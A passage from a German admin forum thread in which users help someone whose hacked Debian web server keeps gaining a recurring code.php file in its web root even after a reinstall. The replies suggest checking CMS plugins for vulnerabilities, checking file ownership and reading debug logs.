Zudem lassen die die anderen Dienste auch ganz "Normal" weiter laufen da dies sonst auffallen würde das was nicht stimmt.
Jedoch werden die Dienste mit erhöhten Rechten laufen lassen um mehr Spielraum ect zu haben.
Dazu kannst du deine Daten auch nicht mehr Vertrauen da diese auch Infiziert sein können um auf ein neues Sauberes System gleich wider Infiziert werden zu können.

in der datei envvars steht eigentlich der richtige User drin

export APACHE_RUN_USER=www-data
> export APACHE_RUN_GROUP=www-data
> 

Es ist egal was derzeit im Infizierten System steht da dieser Verändert wurde.

Aber mal ein Video das du mal sehen solltest.
Ist zwar was älter jedoch macht es gute Information über die Situation die du auch hast zwar etwas anders aber Prinzip das selbe face-smile

Peer Heinlein: Totalschaden: Ein gehackter Server auf dem Seziertisch
JoshuaTree
JoshuaTree 12.01.2017 um 09:50:52 Uhr
Goto Top
So Server ist komplett neu und nichts ist wie es vorher war.

Trotzdem habe ich weiterhin Probleme das ständig eine Datei namens code.php in das root-verzeichnis der Webseite platziert wird.

Die Datei habe ich bereits mehrmals gelöscht und sie erscheint immer wieder mit dem Datum vom 24.12.2016 obwohl keine Datei mehr so ein altes Datum hat Server wurde in der ersten Woche des neuen Jahres neu gemacht mit Debian 8 und allem was dazu gehört.

Hat irgend jemand noch eine Idee wo ich nach der Schwachstelle suchen soll?
Vision2015
Vision2015 12.01.2017 um 13:49:35 Uhr
Goto Top
moin...
wer hat den die datei angelegt ?
hast du dein CMS und deine scripte auf updates und schwachstellen geprüft..
beliebt sind auch add on´s für cms systeme etc.. sowie Tiny MCE etc...

Frank
kaiand1
kaiand1 12.01.2017 um 17:25:50 Uhr
Goto Top
Logfiles auf Debug gestellt und mal geschaut wo die Datei auftaucht?
Irgendwo hast du da ja mind. 1 Lücke die ausgenutzt wird.
Anhand der Logfiles kannst du auch sehen ob es ein normaler User oder ein Angriff ist.
(Erkennt man anhand der Aufrufe welche Seite ect)